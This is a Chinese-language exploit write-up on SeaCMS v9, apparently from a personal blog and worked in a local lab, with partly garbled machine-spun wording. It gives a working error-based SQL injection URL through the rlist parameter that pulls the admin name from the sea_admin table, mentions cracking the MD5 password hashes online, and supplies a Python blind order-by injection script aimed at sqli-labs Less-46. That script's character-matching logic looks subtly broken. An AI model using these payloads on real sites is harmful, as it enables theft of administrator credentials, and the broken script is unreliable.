海洋cmsv9报错注入，order by 和limit注入

海洋cmsv9

1，我们拿到海洋cmsv9源码分析发现注入点，$rlist
2，seacms开源，可以知道seacmsv9体系数据库（mysql）为seacms，存放管理员账号的表为
sea_admin，表中存放管理员姓名的字段为name，存放管理员暗码的字段为password
颠末源码分析，使用以下语句注入（limit克制管理员有多个，导致SQL语句报错）：
127.0.0.1/upload/comment/api/index.php?gid=1&page=2&type=1&rlist[]=@`'`, updatexml
(1,concat_ws(0x20,0x5c,(select name from%23%0asea_admin limit 0,1)),1), @`'`
第一次实验：

我们发现注入并没有乐成
接下来我们在数据库检察表的情况

我们发现sea_comment中并没有数据以是并没有回显
那我们就添加数据

1. insert into sea_comment(id,uid,v_id,typeid,username,ip,ischeck,dtime,msg,m_type,reply,agree,anti,pic,vote) values (1,2,3,4,'hyd1','192,168,106,133',1,01,'sample comment',0,0,0,0,'exam01.jpg',0),(5,6,7,8,'hyd2','192,168,106,134',2,02,'sample comment',0,0,0,0,'exam02.jpg',0);

复制代码

然后我们重新举行注入

发现暗码是通过MD5加密了的
以是就到md5在线解密破解,md5解密加密这个网站解密

oeder by

我们发现俩次username中发现第6行不一样，以是我们可以使用这里举行注入

1. import requests
2. from bs4 import BeautifulSoup
4. def getDatabase(url):
5.     dataname = ''
7.     for i in range(1, 20):  # 检查每个字符位置
8.         for j in range(32,127):
9.             payload = "if(ascii(substr(database(),%d,1))=%d,username,password) -- " % (i, j)
10.             res = {"sort": payload}
11.             r = requests.get(url, params=res)
12.             # 检查返回内容，使用 BeautifulSoup 解析 HTML
13.             soup = BeautifulSoup(r.text, 'html.parser')
14.             # 提取密码列第6行
15.             password_row = soup.find_all('tr')[6]  # 第6行（索引为5）
16.             password_column = password_row.find_all('td')[1]  # 假设密码在第二列
17.             # 如果返回的是 'crappy'，则跳过该字符
18.             #print(password_column.text.strip())
19.             if password_column.text.strip() == 'secure':
20.                 #print(1)  # 如果是 crapp，就跳过当前字符
21.                 w=1
22.             else:
23.         # 如果没有找到有效字符，或者跳过该字符，则继续下一个字符
24.                 dataname += chr(j)  # 将识别到的字符添加到数据库名称
25.         print(dataname)  # 打印当前已经找到的字符
27. if __name__ == '__main__':
28.     url = 'http://127.0.0.1/sqli-labs-php7-master/Less-46/index.php'
29.     getDatabase(url)

复制代码